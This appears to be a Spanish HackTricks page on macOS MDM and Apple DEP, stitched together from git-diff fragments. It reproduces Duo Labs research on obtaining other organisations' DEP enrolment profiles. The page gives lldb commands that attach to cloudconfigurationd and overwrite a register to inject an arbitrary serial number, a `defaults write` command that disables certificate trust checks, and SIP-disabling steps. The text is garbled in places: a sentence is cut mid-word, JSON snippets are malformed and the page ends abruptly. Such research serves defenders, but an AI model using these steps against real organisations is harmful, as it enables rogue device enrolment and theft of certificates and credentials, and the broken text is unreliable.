* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,63 @@
|
|||
# macOS MDM
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Conceptos básicos
|
||||
|
||||
### ¿Qué es MDM (Mobile Device Management)?
|
||||
|
||||
[Mobile Device Management](https://en.wikipedia.org/wiki/Mobile\_device\_management) (MDM) es una tecnología comúnmente utilizada para **administrar dispositivos informáticos de usuario final** como teléfonos móviles, portátiles, ordenadores de sobremesa y tabletas. En el caso de las plataformas de Apple como iOS, macOS y tvOS, se refiere a un conjunto específico de características, APIs y técnicas utilizadas por los administradores para gestionar estos dispositivos. La gestión de dispositivos a través de MDM requiere un servidor MDM comercial o de código abierto compatible que implemente soporte para el [Protocolo MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf).
|
||||
|
||||
* Una forma de lograr una **gestión centralizada de dispositivos**
|
||||
* Requiere un **servidor MDM** que implemente soporte para el protocolo MDM
|
||||
* El servidor MDM puede **enviar comandos MDM**, como borrado remoto o "instalar esta configuración"
|
||||
|
||||
### ¿Qué es DEP (Device Enrolment Program)?
|
||||
|
||||
El [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP\_Guide.pdf) (DEP) es un servicio ofrecido por Apple que **simplifica** la inscripción en la gestión de dispositivos móviles (MDM) al ofrecer una **config
|
||||
### **Paso 7: Escuchando comandos MDM**
|
||||
|
||||
* Después de que se complete la verificación de MDM, el proveedor puede **emitir notificaciones push utilizando APNs**
|
||||
* Al recibirlas, son manejadas por **`mdmclient`**
|
||||
* Para buscar comandos MDM, se envía una solicitud a ServerURL
|
||||
* Se hace uso de la carga útil MDM previamente instalada:
|
||||
* **`ServerURLPinningCertificateUUIDs`** para fijar la solicitud
|
||||
* **`IdentityCertificateUUID`** para el certificado de cliente TLS
|
||||
|
||||
## Ataques
|
||||
|
||||
### Inscripción de dispositivos en otras organizaciones
|
||||
|
||||
Como se comentó anteriormente, para intentar inscribir un dispositivo en una organización, **solo se necesita un número de serie que pertenezca a esa organización**. Una vez que el dispositivo está inscrito, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Por lo tanto, esto podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está protegido correctamente:
|
||||
|
||||
{% content-ref url="enrolling-devices-in-other-organisations.md" %}
|
||||
[enrolling-devices-in-other-organisations.md](enrolling-devices-in-other-organisations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## **Referencias**
|
||||
|
||||
* [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU)
|
||||
* [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,377 @@
|
|||
# Introducción
|
||||
|
||||
Como se comentó anteriormente, para intentar inscribir un dispositivo en una organización solo se necesita un número de serie que pertenezca a esa organización. Una vez que el dispositivo está inscrito, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf). Por lo tanto, esto podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está protegido correctamente.
|
||||
|
||||
**La siguiente investigación se toma de** [**https://duo.com/labs/research/mdm-me-maybe**](https://duo.com/labs/research/mdm-me-maybe)
|
||||
|
||||
# Reversión del proceso
|
||||
|
||||
## Binarios involucrados en DEP y MDM
|
||||
|
||||
A lo largo de nuestra investigación, exploramos lo siguiente:
|
||||
|
||||
* **`mdmclient`**: Utilizado por el sistema operativo para comunicarse con un servidor MDM. En macOS 10.13.3 y anteriores, también se puede utilizar para activar una comprobación de DEP.
|
||||
* **`profiles`**: Una utilidad que se puede utilizar para instalar, eliminar y ver perfiles de configuración en macOS. También se puede utilizar para activar una comprobación de DEP en macOS 10.13.4 y versiones posteriores.
|
||||
* **`cloudconfigurationd`**: El demonio del cliente de inscripción de dispositivos, que es responsable de comunicarse con la API de DEP y recuperar perfiles de inscripción de dispositivos.
|
||||
|
||||
Cuando se utiliza `mdmclient` o `profiles` para iniciar una comprobación de DEP, se utilizan las funciones `CPFetchActivationRecord` y `CPGetActivationRecord` para recuperar el _Registro de activación_. `CPFetchActivationRecord` delega el control a `cloudconfigurationd` a través de [XPC](https://developer.apple.com/documentation/xpc), que luego recupera el _Registro de activación_ de la API de DEP.
|
||||
|
||||
`CPGetActivationRecord` recupera el _Registro de activación_ de la caché, si está disponible. Estas funciones están definidas en el marco de perfiles de configuración privados, ubicado en `/System/Library/PrivateFrameworks/Configuration Profiles.framework`.
|
||||
|
||||
## Reversión del protocolo Tesla y el esquema Absinthe
|
||||
|
||||
Durante el proceso de comprobación de DEP, `cloudconfigurationd` solicita un _Registro de activación_ de _iprofiles.apple.com/macProfile_. La carga útil de la solicitud es un diccionario JSON que contiene dos pares de clave-valor:
|
||||
```
|
||||
{
|
||||
"sn": "",
|
||||
action": "RequestProfileConfiguration
|
||||
}
|
||||
```
|
||||
El payload está firmado y encriptado usando un esquema referido internamente como "Absinthe". El payload encriptado es luego codificado en Base 64 y utilizado como cuerpo de la solicitud en un HTTP POST a _iprofiles.apple.com/macProfile_.
|
||||
|
||||
En `cloudconfigurationd`, la obtención del _Activation Record_ es manejada por la clase `MCTeslaConfigurationFetcher`. El flujo general desde `[MCTeslaConfigurationFetcher enterState:]` es el siguiente:
|
||||
```
|
||||
rsi = @selector(verifyConfigBag);
|
||||
rsi = @selector(startCertificateFetch);
|
||||
rsi = @selector(initializeAbsinthe);
|
||||
rsi = @selector(startSessionKeyFetch);
|
||||
rsi = @selector(establishAbsintheSession);
|
||||
rsi = @selector(startConfigurationFetch);
|
||||
rsi = @selector(sendConfigurationInfoToRemote);
|
||||
rsi = @selector(sendFailureNoticeToRemote);
|
||||
```
|
||||
Dado que el esquema **Absinthe** es lo que parece ser utilizado para autenticar solicitudes al servicio DEP, **invertir ingeniería** este esquema nos permitiría hacer nuestras propias solicitudes autenticadas a la API DEP. Sin embargo, esto resultó ser **consumidor de tiempo**, principalmente debido al número de pasos involucrados en la autenticación de solicitudes. En lugar de revertir completamente cómo funciona este esquema, optamos por explorar otros métodos para insertar números de serie arbitrarios como parte de la solicitud de _Registro de Activación_.
|
||||
|
||||
## MITMing Solicitudes DEP
|
||||
|
||||
Exploramos la viabilidad de interceptar solicitudes de red a _iprofiles.apple.com_ con [Charles Proxy](https://www.charlesproxy.com). Nuestro objetivo era inspeccionar la carga útil enviada a _iprofiles.apple.com/macProfile_, luego insertar un número de serie arbitrario y reproducir la solicitud. Como se mencionó anteriormente, la carga útil enviada a ese punto final por `cloudconfigurationd` está en formato [JSON](https://www.json.org) y contiene dos pares de clave-valor.
|
||||
```
|
||||
{
|
||||
"action": "RequestProfileConfiguration",
|
||||
sn": "
|
||||
}
|
||||
```
|
||||
Dado que la API en _iprofiles.apple.com_ utiliza [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) (TLS), necesitamos habilitar SSL Proxying en Charles para ese host para ver el contenido de texto sin formato de las solicitudes SSL.
|
||||
|
||||
Sin embargo, el método `-[MCTeslaConfigurationFetcher connection:willSendRequestForAuthenticationChallenge:]` verifica la validez del certificado del servidor y abortará si no se puede verificar la confianza del servidor.
|
||||
```
|
||||
[ERROR] Unable to get activation record: Error Domain=MCCloudConfigurationErrorDomain Code=34011
|
||||
"The Device Enrollment server trust could not be verified. Please contact your system
|
||||
administrator." UserInfo={USEnglishDescription=The Device Enrollment server trust could not be
|
||||
verified. Please contact your system administrator., NSLocalizedDescription=The Device Enrollment
|
||||
server trust could not be verified. Please contact your system administrator.,
|
||||
MCErrorType=MCFatalError}
|
||||
```
|
||||
El mensaje de error mostrado arriba se encuentra en un archivo binario _Errors.strings_ con la clave `CLOUD_CONFIG_SERVER_TRUST_ERROR`, el cual está ubicado en `/System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings`, junto con otros mensajes de error relacionados.
|
||||
```
|
||||
$ cd /System/Library/CoreServices
|
||||
$ rg "The Device Enrollment server trust could not be verified"
|
||||
ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
|
||||
<snip>
|
||||
```
|
||||
El archivo _Errors.strings_ se puede [imprimir en un formato legible por humanos](https://duo.com/labs/research/mdm-me-maybe#error\_strings\_output) con el comando `plutil` incorporado.
|
||||
```
|
||||
$ plutil -p /System/Library/CoreServices/ManagedClient.app/Contents/Resources/English.lproj/Errors.strings
|
||||
```
|
||||
Después de investigar más a fondo la clase `MCTeslaConfigurationFetcher`, sin embargo, quedó claro que este comportamiento de confianza del servidor puede ser eludido habilitando la opción de configuración `MCCloudConfigAcceptAnyHTTPSCertificate` en el dominio de preferencias `com.apple.ManagedClient.cloudconfigurationd`.
|
||||
```
|
||||
loc_100006406:
|
||||
rax = [NSUserDefaults standardUserDefaults];
|
||||
rax = [rax retain];
|
||||
r14 = [rax boolForKey:@"MCCloudConfigAcceptAnyHTTPSCertificate"];
|
||||
r15 = r15;
|
||||
[rax release];
|
||||
if (r14 != 0x1) goto loc_10000646f;
|
||||
```
|
||||
La opción de configuración `MCCloudConfigAcceptAnyHTTPSCertificate` se puede establecer con el comando `defaults`.
|
||||
```
|
||||
sudo defaults write com.apple.ManagedClient.cloudconfigurationd MCCloudConfigAcceptAnyHTTPSCertificate -bool yes
|
||||
```
|
||||
Con SSL Proxying habilitado para _iprofiles.apple.com_ y `cloudconfigurationd` configurado para aceptar cualquier certificado HTTPS, intentamos realizar un ataque man-in-the-middle y reproducir las solicitudes en Charles Proxy.
|
||||
|
||||
Sin embargo, dado que la carga incluida en el cuerpo de la solicitud HTTP POST a _iprofiles.apple.com/macProfile_ está firmada y cifrada con Absinthe (`NACSign`), **no es posible modificar el texto plano de la carga JSON para incluir un número de serie arbitrario sin tener también la clave para descifrarla**. Aunque sería posible obtener la clave porque permanece en la memoria, en su lugar pasamos a explorar `cloudconfigurationd` con el depurador [LLDB](https://lldb.llvm.org).
|
||||
|
||||
## Instrumentando Binarios del Sistema que Interactúan con DEP
|
||||
|
||||
El último método que exploramos para automatizar el proceso de enviar números de serie arbitrarios a _iprofiles.apple.com/macProfile_ fue instrumentar binarios nativos que interactúan directa o indirectamente con la API DEP. Esto implicó una exploración inicial de `mdmclient`, `profiles` y `cloudconfigurationd` en [Hopper v4](https://www.hopperapp.com) y [Ida Pro](https://www.hex-rays.com/products/ida/), y algunas largas sesiones de depuración con `lldb`.
|
||||
|
||||
Uno de los beneficios de este método sobre la modificación de los binarios y la resignación con nuestra propia clave es que evita algunas de las restricciones de permisos incorporadas en macOS que de otra manera podrían disuadirnos.
|
||||
|
||||
**Protección de Integridad del Sistema**
|
||||
|
||||
Para instrumentar binarios del sistema, (como `cloudconfigurationd`) en macOS, se debe desactivar [Protección de Integridad del Sistema](https://support.apple.com/en-us/HT204899) (SIP). SIP es una tecnología de seguridad que protege los archivos, carpetas y procesos de nivel del sistema contra manipulaciones, y está habilitada de forma predeterminada en OS X 10.11 "El Capitan" y versiones posteriores. [SIP se puede desactivar](https://developer.apple.com/library/archive/documentation/Security/Conceptual/System\_Integrity\_Protection\_Guide/ConfiguringSystemIntegrityProtection/ConfiguringSystemIntegrityProtection.html) arrancando en modo de recuperación y ejecutando el siguiente comando en la aplicación Terminal, y luego reiniciando:
|
||||
```
|
||||
csrutil enable --without debug
|
||||
```
|
||||
Vale la pena señalar, sin embargo, que SIP es una característica de seguridad útil y no debe desactivarse excepto para fines de investigación y pruebas en máquinas no productivas. También es posible (y recomendable) hacer esto en Máquinas Virtuales no críticas en lugar de en el sistema operativo host.
|
||||
|
||||
**Instrumentación binaria con LLDB**
|
||||
|
||||
Con SIP desactivado, pudimos avanzar con la instrumentación de las binarias del sistema que interactúan con la API DEP, es decir, la binaria `cloudconfigurationd`. Debido a que `cloudconfigurationd` requiere privilegios elevados para ejecutarse, necesitamos iniciar `lldb` con `sudo`.
|
||||
```
|
||||
$ sudo lldb
|
||||
(lldb) process attach --waitfor --name cloudconfigurationd
|
||||
```
|
||||
Mientras `lldb` está esperando, podemos adjuntarnos a `cloudconfigurationd` ejecutando `sudo /usr/libexec/mdmclient dep nag` en una ventana de Terminal separada. Una vez adjuntado, se mostrará una salida similar a la siguiente y se podrán escribir comandos de LLDB en el indicador.
|
||||
```
|
||||
Process 861 stopped
|
||||
* thread #1, stop reason = signal SIGSTOP
|
||||
<snip>
|
||||
Target 0: (cloudconfigurationd) stopped.
|
||||
|
||||
Executable module set to "/usr/libexec/cloudconfigurationd".
|
||||
Architecture set to: x86_64h-apple-macosx.
|
||||
(lldb)
|
||||
```
|
||||
**Estableciendo el número de serie del dispositivo**
|
||||
|
||||
Una de las primeras cosas que buscamos al revertir `mdmclient` y `cloudconfigurationd` fue el código responsable de recuperar el número de serie del sistema, ya que sabíamos que el número de serie era en última instancia responsable de autenticar el dispositivo. Nuestro objetivo era modificar el número de serie en la memoria después de que se recupera del [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), y que se use cuando `cloudconfigurationd` construye la carga útil `macProfile`.
|
||||
|
||||
Aunque `cloudconfigurationd` es en última instancia responsable de comunicarse con la API DEP, también investigamos si el número de serie del sistema se recupera o se utiliza directamente dentro de `mdmclient`. El número de serie recuperado como se muestra a continuación no es el que se envía a la API DEP, pero reveló un número de serie codificado en duro que se utiliza si se habilita una opción de configuración específica.
|
||||
```
|
||||
int sub_10002000f() {
|
||||
if (sub_100042b6f() != 0x0) {
|
||||
r14 = @"2222XXJREUF";
|
||||
}
|
||||
else {
|
||||
rax = IOServiceMatching("IOPlatformExpertDevice");
|
||||
rax = IOServiceGetMatchingServices(*(int32_t *)*_kIOMasterPortDefault, rax, &var_2C);
|
||||
<snip>
|
||||
}
|
||||
rax = r14;
|
||||
return rax;
|
||||
}
|
||||
```
|
||||
El número de serie del sistema se obtiene de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), a menos que el valor de retorno de `sub_10002000f` no sea cero, en cuyo caso se establece en la cadena estática "2222XXJREUF". Al inspeccionar esa función, parece verificar si está habilitado el "modo de prueba de estrés del servidor".
|
||||
```
|
||||
void sub_1000321ca(void * _block) {
|
||||
if (sub_10002406f() != 0x0) {
|
||||
*(int8_t *)0x100097b68 = 0x1;
|
||||
sub_10000b3de(@"Server stress test mode enabled", rsi, rdx, rcx, r8, r9, stack[0]);
|
||||
}
|
||||
return;
|
||||
}
|
||||
```
|
||||
Documentamos la existencia del "modo de prueba de estrés del servidor", pero no lo exploramos más, ya que nuestro objetivo era modificar el número de serie presentado a la API DEP. En su lugar, probamos si modificar el número de serie apuntado por el registro `r14` sería suficiente para recuperar un "Registro de activación" que no estaba destinado a la máquina en la que estábamos probando.
|
||||
|
||||
A continuación, examinamos cómo se recupera el número de serie del sistema dentro de `cloudconfigurationd`.
|
||||
```
|
||||
int sub_10000c100(int arg0, int arg1, int arg2, int arg3) {
|
||||
var_50 = arg3;
|
||||
r12 = arg2;
|
||||
r13 = arg1;
|
||||
r15 = arg0;
|
||||
rbx = IOServiceGetMatchingService(*(int32_t *)*_kIOMasterPortDefault, IOServiceMatching("IOPlatformExpertDevice"));
|
||||
r14 = 0xffffffffffff541a;
|
||||
if (rbx != 0x0) {
|
||||
rax = sub_10000c210(rbx, @"IOPlatformSerialNumber", 0x0, &var_30, &var_34);
|
||||
r14 = rax;
|
||||
<snip>
|
||||
}
|
||||
rax = r14;
|
||||
return rax;
|
||||
}
|
||||
```
|
||||
Como se puede ver arriba, el número de serie se recupera de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) en `cloudconfigurationd` también.
|
||||
|
||||
Usando `lldb`, pudimos modificar el número de serie recuperado de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry) estableciendo un punto de interrupción para `IOServiceGetMatchingService` y creando una nueva variable de cadena que contenga un número de serie arbitrario y reescribiendo el registro `r14` para que apunte a la dirección de memoria de la variable que creamos.
|
||||
```
|
||||
(lldb) breakpoint set -n IOServiceGetMatchingService
|
||||
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
|
||||
(lldb) process attach --waitfor --name cloudconfigurationd
|
||||
Process 2208 stopped
|
||||
* thread #2, queue = 'com.apple.NSXPCListener.service.com.apple.ManagedClient.cloudconfigurationd',
|
||||
stop reason = instruction step over frame #0: 0x000000010fd824d8
|
||||
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd + 73
|
||||
cloudconfigurationd`___lldb_unnamed_symbol2$$cloudconfigurationd:
|
||||
-> 0x10fd824d8 <+73>: movl %ebx, %edi
|
||||
0x10fd824da <+75>: callq 0x10ffac91e ; symbol stub for: IOObjectRelease
|
||||
0x10fd824df <+80>: testq %r14, %r14
|
||||
0x10fd824e2 <+83>: jne 0x10fd824e7 ; <+88>
|
||||
Target 0: (cloudconfigurationd) stopped.
|
||||
(lldb) continue # Will hit breakpoint at `IOServiceGetMatchingService`
|
||||
# Step through the program execution by pressing 'n' a bunch of times and
|
||||
# then 'po $r14' until we see the serial number.
|
||||
(lldb) n
|
||||
(lldb) po $r14
|
||||
C02JJPPPQQQRR # The system serial number retrieved from the `IORegistry`
|
||||
# Create a new variable containing an arbitrary serial number and print the memory address.
|
||||
(lldb) p/x @"C02XXYYZZNNMM"
|
||||
(__NSCFString *) $79 = 0x00007fb6d7d05850 @"C02XXYYZZNNMM"
|
||||
# Rewrite the `r14` register to point to our new variable.
|
||||
(lldb) register write $r14 0x00007fb6d7d05850
|
||||
(lldb) po $r14
|
||||
# Confirm that `r14` contains the new serial number.
|
||||
C02XXYYZZNNMM
|
||||
```
|
||||
Aunque logramos modificar el número de serie obtenido de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), el payload `macProfile` todavía contenía el número de serie del sistema, no el que escribimos en el registro `r14`.
|
||||
|
||||
**Exploit: Modificar el diccionario de solicitud de perfil antes de la serialización JSON**
|
||||
|
||||
A continuación, intentamos establecer el número de serie que se envía en el payload `macProfile` de una manera diferente. Esta vez, en lugar de modificar el número de serie del sistema obtenido a través de [`IORegistry`](https://developer.apple.com/documentation/installerjs/ioregistry), intentamos encontrar el punto más cercano en el código donde el número de serie todavía está en texto plano antes de ser firmado con Absinthe (`NACSign`). El mejor punto para mirar parecía ser `-[MCTeslaConfigurationFetcher startConfigurationFetch]`, que realiza aproximadamente los siguientes pasos:
|
||||
|
||||
* Crea un nuevo objeto `NSMutableData`
|
||||
* Llama a `[MCTeslaConfigurationFetcher setConfigurationData:]`, pasándole el nuevo objeto `NSMutableData`
|
||||
* Llama a `[MCTeslaConfigurationFetcher profileRequestDictionary]`, que devuelve un objeto `NSDictionary` que contiene dos pares clave-valor:
|
||||
* `sn`: El número de serie del sistema
|
||||
* `action`: La acción remota a realizar (con `sn` como argumento)
|
||||
* Llama a `[NSJSONSerialization dataWithJSONObject:]`, pasándole el `NSDictionary` de `profileRequestDictionary`
|
||||
* Firma la carga útil JSON usando Absinthe (`NACSign`)
|
||||
* Codifica en Base64 la carga útil JSON firmada
|
||||
* Establece el método HTTP en `POST`
|
||||
* Establece el cuerpo HTTP en la carga útil JSON firmada y codificada en Base64
|
||||
* Establece el encabezado HTTP `X-Profile-Protocol-Version` en `1`
|
||||
* Establece el encabezado HTTP `User-Agent` en `ConfigClient-1.0`
|
||||
* Utiliza el método `[NSURLConnection alloc] initWithRequest:delegate:startImmediately:]` para realizar la solicitud HTTP
|
||||
|
||||
Luego modificamos el objeto `NSDictionary` devuelto por `profileRequestDictionary` antes de ser convertido en JSON. Para hacer esto, se estableció un punto de interrupción en `dataWithJSONObject` para acercarnos lo más posible a los datos aún no convertidos. El punto de interrupción tuvo éxito y cuando imprimimos el contenido del registro que conocíamos a través del desensamblaje (`rdx`), sabíamos que obtuvimos los resultados que esperábamos ver.
|
||||
```
|
||||
po $rdx
|
||||
{
|
||||
action = RequestProfileConfiguration;
|
||||
sn = C02XXYYZZNNMM;
|
||||
}
|
||||
```
|
||||
Lo anterior es una representación con formato de `NSDictionary` devuelto por `[MCTeslaConfigurationFetcher profileRequestDictionary]`. Nuestro siguiente desafío fue modificar el `NSDictionary` en memoria que contenía el número de serie.
|
||||
```
|
||||
(lldb) breakpoint set -r "dataWithJSONObject"
|
||||
# Run `sudo /usr/libexec/mdmclient dep nag` in a separate Terminal window.
|
||||
(lldb) process attach --name "cloudconfigurationd" --waitfor
|
||||
Process 3291 stopped
|
||||
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
|
||||
frame #0: 0x00007fff2e8bfd8f Foundation`+[NSJSONSerialization dataWithJSONObject:options:error:]
|
||||
Target 0: (cloudconfigurationd) stopped.
|
||||
# Hit next breakpoint at `dataWithJSONObject`, since the first one isn't where we need to change the serial number.
|
||||
(lldb) continue
|
||||
# Create a new variable containing an arbitrary `NSDictionary` and print the memory address.
|
||||
(lldb) p/x (NSDictionary *)[[NSDictionary alloc] initWithObjectsAndKeys:@"C02XXYYZZNNMM", @"sn",
|
||||
@"RequestProfileConfiguration", @"action", nil]
|
||||
(__NSDictionaryI *) $3 = 0x00007ff068c2e5a0 2 key/value pairs
|
||||
# Confirm that `rdx` contains the new `NSDictionary`.
|
||||
po $rdx
|
||||
{
|
||||
action = RequestProfileConfiguration;
|
||||
sn = <new_serial_number>
|
||||
}
|
||||
```
|
||||
La lista anterior realiza lo siguiente:
|
||||
|
||||
* Crea un punto de interrupción de expresión regular para el selector `dataWithJSONObject`
|
||||
* Espera a que el proceso `cloudconfigurationd` se inicie y luego se conecta a él
|
||||
* Continúa la ejecución del programa (porque el primer punto de interrupción que encontramos para `dataWithJSONObject` no es el que se llama en `profileRequestDictionary`)
|
||||
* Crea e imprime (en formato hexadecimal debido a `/x`) el resultado de crear nuestro `NSDictionary` arbitrario
|
||||
* Como ya conocemos los nombres de las claves requeridas, simplemente podemos establecer el número de serie en uno de nuestra elección para `sn` y dejar `action` igual
|
||||
* La impresión del resultado de crear este nuevo `NSDictionary` nos indica que tenemos dos pares clave-valor en una ubicación de memoria específica
|
||||
|
||||
Nuestro último paso fue repetir el mismo paso de escribir en `rdx` la ubicación de memoria de nuestro objeto `NSDictionary` personalizado que contiene nuestro número de serie elegido:
|
||||
```
|
||||
(lldb) register write $rdx 0x00007ff068c2e5a0 # Rewrite the `rdx` register to point to our new variable
|
||||
(lldb) continue
|
||||
```
|
||||
Esto apunta el registro `rdx` a nuestro nuevo `NSDictionary` justo antes de que se serialice a [JSON](https://www.json.org) y se envíe mediante `POST` a _iprofiles.apple.com/macProfile_, luego se continúa el flujo del programa.
|
||||
|
||||
Este método de modificar el número de serie en el diccionario de solicitud de perfil antes de ser serializado a JSON funcionó. Al usar un número de serie de Apple registrado en DEP conocido en lugar de (null), el registro de depuración para `ManagedClient` mostró el perfil completo de DEP para el dispositivo:
|
||||
```
|
||||
Apr 4 16:21:35[660:1]:+CPFetchActivationRecord fetched configuration:
|
||||
{
|
||||
AllowPairing = 1;
|
||||
AnchorCertificates = (
|
||||
);
|
||||
AwaitDeviceConfigured = 0;
|
||||
ConfigurationURL = "https://some.url/cloudenroll";
|
||||
IsMDMUnremovable = 1;
|
||||
IsMandatory = 1;
|
||||
IsSupervised = 1;
|
||||
OrganizationAddress = "Org address";
|
||||
OrganizationAddressLine1 = "More address";
|
||||
OrganizationAddressLine2 = NULL;
|
||||
OrganizationCity = A City;
|
||||
OrganizationCountry = US;
|
||||
OrganizationDepartment = "Org Dept";
|
||||
OrganizationEmail = "dep.management@org.url";
|
||||
OrganizationMagic = <unique string>;
|
||||
OrganizationName = "ORG NAME";
|
||||
OrganizationPhone = "+1551234567";
|
||||
OrganizationSupportPhone = "+15551235678";
|
||||
OrganizationZipCode = "ZIPPY";
|
||||
SkipSetup = (
|
||||
AppleID,
|
||||
Passcode,
|
||||
Zoom,
|
||||
Biometric,
|
||||
Payment,
|
||||
TOS,
|
||||
TapToSetup,
|
||||
Diagnostics,
|
||||
HomeButtonSensitivity,
|
||||
Android,
|
||||
Siri,
|
||||
DisplayTone,
|
||||
ScreenSaver
|
||||
);
|
||||
SupervisorHostCertificates = (
|
||||
);
|
||||
}
|
||||
```
|
||||
Con solo unos pocos comandos `lldb`, podemos insertar con éxito un número de serie arbitrario y obtener un perfil DEP que incluye varios datos específicos de la organización, incluida la URL de inscripción de MDM de la organización. Como se discutió, esta URL de inscripción podría usarse para inscribir un dispositivo malintencionado ahora que conocemos su número de serie. Los otros datos podrían usarse para ingeniería social de una inscripción malintencionada. Una vez inscrito, el dispositivo podría recibir cualquier cantidad de certificados, perfiles, aplicaciones, configuraciones de VPN, etc.
|
||||
|
||||
## Automatización de la instrumentación de `cloudconfigurationd` con Python
|
||||
|
||||
Una vez que tuvimos la prueba de concepto inicial que demostraba cómo recuperar un perfil DEP válido usando solo un número de serie, nos propusimos automatizar este proceso para mostrar cómo un atacante podría abusar de esta debilidad en la autenticación.
|
||||
|
||||
Afortunadamente, la API de LLDB está disponible en Python a través de una [interfaz de puente de script](https://lldb.llvm.org/python-reference.html). En sistemas macOS con las [Herramientas de línea de comandos de Xcode](https://developer.apple.com/download/more/) instaladas, el módulo Python `lldb` se puede importar de la siguiente manera:
|
||||
```
|
||||
import lldb
|
||||
```
|
||||
Esto hizo relativamente fácil crear un script de prueba de concepto que demuestra cómo insertar un número de serie registrado en DEP y recibir un perfil DEP válido a cambio. El PoC que desarrollamos toma una lista de números de serie separados por saltos de línea e inyecta en el proceso `cloudconfigurationd` para verificar los perfiles DEP.
|
||||
|
||||
